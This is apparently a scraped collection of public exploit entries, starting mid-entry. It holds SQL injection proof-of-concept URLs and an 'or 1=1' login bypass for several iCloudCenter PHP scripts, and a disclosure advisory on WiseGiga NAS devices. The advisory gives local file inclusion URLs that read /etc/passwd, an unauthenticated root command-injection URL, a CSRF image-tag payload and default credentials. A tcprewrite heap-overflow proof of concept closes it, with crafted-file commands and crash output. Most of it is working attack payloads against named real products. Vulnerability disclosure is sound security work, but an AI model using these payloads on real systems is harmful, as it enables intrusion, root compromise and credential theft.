# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# http://localhost/[PATH]/admin/viewuserips.php?id=[SQL]

# http://localhost/[PATH]/admin/editadminuser.php?id=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Restaurant Site Script 1.4 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/restaurant-site-script.htm
# Demo: http://icloudcenter.net/demos/icrestaurant/
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Doctor Appointment Script 1.3 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/doctor-appointment-script.htm
# Demo: http://icloudcenter.net/demos/icdoctorappointment/
# Version: 1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: eBay like Auction PHP Script 2.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/ebay-like-auction-script.htm
# Demo: http://icloudcenter.net/demos/icauction/
# Version: 2.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/item.php?id=[SQL]
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Hotel Reservation Site Script 3.3 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/hotel-reservation-site-script.htm
# Demo: http://icloudcenter.net/demos/ichotelreservation/
# Version: 3.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
HireHackking 
Source: https://blogs.securiteam.com/index.php/archives/3402

Vulnerabilities summary
The following advisory describes five (5) vulnerabilities and default accounts / passwords found in WiseGiga NAS devices.

WiseGiga is a Korean company selling NAS products.

The vulnerabilities found in WiseGiga NAS are:

Pre-Authentication Local File Inclusion (4 different vulnerabilities)
Post-Authentication Local File Inclusion
Remote Command Execution as root
Remote Command Execution as root with CSRF
Info Leak
Default accounts


Credit
An independent security researcher, Pierre Kim, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program


Vendor response
We tried to contact WiseGiga since June 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.


Vulnerabilities details

Pre-Authentication Local File Inclusion
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).

By sending GET request to the following URI’s with filename= as a parameter, an attacker can trigger the vulnerabilities:

/webfolder/download_file1.php
down_data.php
download_file.php
mobile/download_file1.php


Proof of Concept
http://IP/webfolder/download_file1.php?filename=/etc/passwd
http://IP/down_data.php?filename=/etc/passwd
http://IP/download_file.php?filename=base64(/etc/passwd)
http://IP/mobile/download_file1.php?filename=base64(/etc/passwd)

Post-Authentication Local File Inclusion
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).

By sending GET request to /mobile/download_file2.php an attacker can trigger the vulnerability.


Proof of Concept
http://IP//mobile/download_file2.php?filename=base64(/etc/passwd)


Remote Command Execution as root
The WiseGiga NAS firmware contain pre.php files in the different directories.

For example:
/app_data/apache/htdocs/auto/pre.php
/app_data/apache/htdocs/admin/iframe/pre.php
/app_data/apache/htdocs/admin/pre.php
/app_data/apache/htdocs/mobile/pre.php
/app_data/apache/htdocs/wiseapp/config/pre.php
/app_data/apache/htdocs/pre.php
/home/htdocs/webfolder/pre.php
/ub/update/init/pre.php
/tmp/home/root/htdocs/auto/pre.php
/tmp/home/root/htdocs/pre.php


A “standard” pre.php contains:

    181 [...]
    182 function  auth()
    183 { 
    184  global $memberid;
    185  session_start();
    186 //echo $memberid;
    187  if($memberid=="root")
    188  {
    189   // print<<<__DATA_OF_HTML__
    190   //<script language="JavaScript">
    191   //  alert("sucess !");
    192   //</script>
    193 //__DATA_OF_HTML__;
    194  }
    195  else
    196  {
    197   print<<<__DATA_OF_HTML__
    198   <script language="JavaScript">
    199     alert("\xc0\xce\xc1\xf5\xb9\xde\xc1\xf6 \xbe\xca\xc0\xba \xbb\xe7\xbf\xeb\xc0\xda\xc0\xd4\xb4\xcf\xb4\xd9!");
    200 //    location.href='/admin/';
    201       window.open('index.php','_parent');
    202     exit;
    203   </script>
    204 __DATA_OF_HTML__;
    205  }
    206
    207 }


Using global $memberid (line 184), the attacker can override the authentication, by specifying a valid user (“root”) inside the HTTP request:

GET /webpage[...]?memberid=root&[...] HTTP/1.0


The pre.php files also contains a function called root_exec_cmd() that is a wrapper to popen():

23 function root_exec_cmd($cmd)
24 {
25         $tmpfile=fopen("/tmp/ramdisk/cmd.list","w");
26         fwrite($tmpfile,$cmd);
27         fclose($tmpfile);
28         popen("/tmp/ramdisk/ramush","r");
29 }

By sending a GET request to root_exec_cmd() with user controlled $cmd variable input an attacker can execute arbitrary commands

The WiseGiga NAS run’s the Apache server as root (uid=0 with gid=48 “apache”) hence the commands will execute as root.


Proof of Concept
By sending GET request to /admin/group.php with parameter ?cmd=add the WiseGiga NAS will call the add_system() function:

178 if($cmd == "add")
179 {
180         add_system();
181 }

The add_system() function uses global for $group_name and $user_data.

Then it will pass the user controlled input and will run it as root:

145 function add_system()
146 {
147         global $group_name,$user_data;
148
149     if(add_conf()==1)
150     {
151 //====================================================================================
152         root_exec_cmd("addgroup $group_name");


An attacker can get unauthenticated RCE as root by sending the following request:

http://IP/admin/group.php?memberid=root&cmd=add&group_name=d;id%20>%20/tmp/a

The file /tmp/a will contain:

uid=0(root) gid=48(apache) groups=48(apache)


Remote Command Execution as root with CSRF
There is no CSRF protection in WiseGiga NAS.

An attacker can force the execution of a command as root when the victim visits the malicious website.


Proof of Concept
Once the victim visit the attacker’s website with the following code, the attacker can execute arbitrary commands.

<img src="http://192.168.1.1/admin/group.php?memberid=root&cmd=add&group_name=d;COMMANDTOEXECUTE">


InfoLeak
accessing http://IP/webfolder/config/config.php will disclose the PHP configuration.


Default accounts
Username: guest
Password: guest09#$
HireHackking 
################
#Title: tcprewrite Heap-Based Buffer Overflow
#CVE: CVE-2017-14266
#CWE: CWE-122
#Exploit Author: Hosein Askari(FarazPajohan)
#Vendor HomePage: http://tcpreplay.synfin.net/
#Product Description: When you want to give a PCAP file to someone, it gives away certain sensitive information such as an organizations internal IP range,
IP addresses of sensitive company assets, MAC addresses of critical hardware that could identify the product vendors. Tcprewrite is a security tool to rewrite packets stored
in PCAP file format, such as created by tools such as tcpdump and ethereal.
#Version : 3.4.4 Released under the Free BSD License
#Tested on: Ubuntu 16.04 (Linux 4.4.0-93-generic)
#Date: 11-09-2017
#Category: Application
#Author Mail : hosein.askari@aol.com
#Description: tcprewrite in Tcpreplay 3.4.4 has a Heap-Based Buffer Overflow vulnerability triggered by a crafted PCAP file can cause a memory corruption and potential code execution.
###############
#First we make a crafted file and send it to the network and capture its information by wireshark.
~Step 1:
sudo echo -ne '\x63\x72\x61\x66\x74\x65\x64\x20\x66\x69\x6c\x65\x20\x69\x73\x20\x6d\x61\x64\x65\x20\x62\x79\x20\x48\x6f\x73\x65\x69\x6e\x20\x41\x73\x6b\x61\x72\x69' | dd conv=notrunc bs=1000 seek=200 of=tcp3.txt
~Step 2(Sending the information and capturing by wireshark):
import os
for i in range(1,20):
        os.system("cat tcp3.txt | nc 127.0.0.1 21")
~Step 3(Using tcprewrite):
sudo  tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap
################
#POC:
constantine@constantine:~/Downloads/DrMemory-Linux-1.11.0-2/bin$ sudo ./drmemory -- tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap
~~Dr.M~~ Dr. Memory version 1.11.0
~~Dr.M~~ WARNING: application is missing line number information.
~~Dr.M~~
~~Dr.M~~ Error #1: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d458f-0x080d4590 1 byte(s) within 0x080d458c-0x080d4590
~~Dr.M~~ # 0 replace_memcpy               [/work/drmemory_package/drmemory/replace.c:246]
~~Dr.M~~ # 1 tcprewrite!?                +0x0      (0x0804ae59 <tcprewrite+0x2e59>)
~~Dr.M~~ # 2 tcprewrite!?                +0x0      (0x08049f91 <tcprewrite+0x1f91>)
~~Dr.M~~ # 3 tcprewrite!?                +0x0      (0x0804a1a1 <tcprewrite+0x21a1>)
~~Dr.M~~ Note: @0:00:01.045 in thread 2521
~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af
~~Dr.M~~ Note: instruction: mov    %eax -> (%ebx)
~~Dr.M~~
~~Dr.M~~ Error #2: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d459c-0x080d459d 1 byte(s)
~~Dr.M~~ # 0 replace_memcpy               [/work/drmemory_package/drmemory/replace.c:252]
~~Dr.M~~ # 1 tcprewrite!?                +0x0      (0x0804ae59 <tcprewrite+0x2e59>)
~~Dr.M~~ # 2 tcprewrite!?                +0x0      (0x08049f91 <tcprewrite+0x1f91>)
~~Dr.M~~ # 3 tcprewrite!?                +0x0      (0x0804a1a1 <tcprewrite+0x21a1>)
~~Dr.M~~ Note: @0:00:01.047 in thread 2521
~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af
~~Dr.M~~ Note: instruction: mov    %dl -> (%eax)
~~Dr.M~~
~~Dr.M~~ Error #3: UNADDRESSABLE ACCESS beyond heap bounds: reading 0x080d458f-0x080d4591 2 byte(s) within 0x080d458d-0x080d4591
~~Dr.M~~ # 0 libc.so.6!__GI___mempcpy              [../sysdeps/i386/i686/multiarch/../mempcpy.S:54]
~~Dr.M~~ # 1 libc.so.6!__GI__IO_default_xsputn     [/build/glibc-KM3i_a/glibc-2.23/libio/genops.c:438]
~~Dr.M~~ # 2 libc.so.6!_IO_new_file_xsputn         [/build/glibc-KM3i_a/glibc-2.23/libio/fileops.c:1352]
~~Dr.M~~ # 3 libc.so.6!__GI__IO_fwrite             [/build/glibc-KM3i_a/glibc-2.23/libio/iofwrite.c:39]
~~Dr.M~~ # 4 libpcap.so.0.8!pcap_dump             +0x5f     (0xb79f1100 <libpcap.so.0.8+0x1d100>)
~~Dr.M~~ # 5 tcprewrite!?                         +0x0      (0x0804adc6 <tcprewrite+0x2dc6>)
~~Dr.M~~ # 6 tcprewrite!?                         +0x0      (0x08049f91 <tcprewrite+0x1f91>)
~~Dr.M~~ # 7 tcprewrite!?                         +0x0      (0x0804a1a1 <tcprewrite+0x21a1>)
~~Dr.M~~ Note: @0:00:01.071 in thread 2521
~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af
~~Dr.M~~ Note: instruction: rep movs %ds%esi) %esi %edi %ecx -> %es%edi) %esi %edi %ecx
~~Dr.M~~
~~Dr.M~~ Error #4: LEAK 8 direct bytes 0x080c3168-0x080c3170 + 0 indirect bytes
~~Dr.M~~ # 0 replace_malloc               [/work/drmemory_package/common/alloc_replace.c:2576]
~~Dr.M~~ # 1 tcprewrite!?                +0x0      (0x08059e6c <tcprewrite+0x11e6c>)
~~Dr.M~~ # 2 tcprewrite!?                +0x0      (0x0804ea21 <tcprewrite+0x6a21>)
~~Dr.M~~ # 3 tcprewrite!?                +0x0      (0x0804c264 <tcprewrite+0x4264>)
~~Dr.M~~ # 4 tcprewrite!?                +0x0      (0x08049e0c <tcprewrite+0x1e0c>)
~~Dr.M~~ # 5 tcprewrite!?                +0x0      (0x0804a1a1 <tcprewrite+0x21a1>)
<Application /usr/bin/tcprewrite (2521).  Dr. Memory internal crash at PC 0x7384d6d5.  Please report this at http://drmemory.org/issues.  Program aborted.
Received SIGSEGV at client library pc 0x7384d6d5 in thread 2521
Base: 0xb7e25000
Registers:eax=0x00000000 ebx=0x73934a30 ecx=0x00000002 edx=0x739355c0
esi=0x4b200ba8 edi=0x00000006 esp=0x4a0c6814 ebp=0x00000000
eflags=0x000102
1.11.0-2-(Aug 29 2016 02:45:30)0
-no_dynamic_options -disasm_mask 8 -logdir '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs/dynamorio' -client_lib '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so;0;-logdir `/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs` -symcache_dir `/home/constan
/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so=0x73800000
/usr/lib/i386-linux-gnu/libstdc++.so.6=0xb7c84000
/lib/i386-linux-gnu/libgcc_s.so.1=0xb7a33000
/lib/i386-linux-gnu/libm.so.6=0xb7c2e000
/lib/i386-linux-gnu/libc.so.6=0xb7a77000
/lib/ld-linux.so.2=0xb7a51000>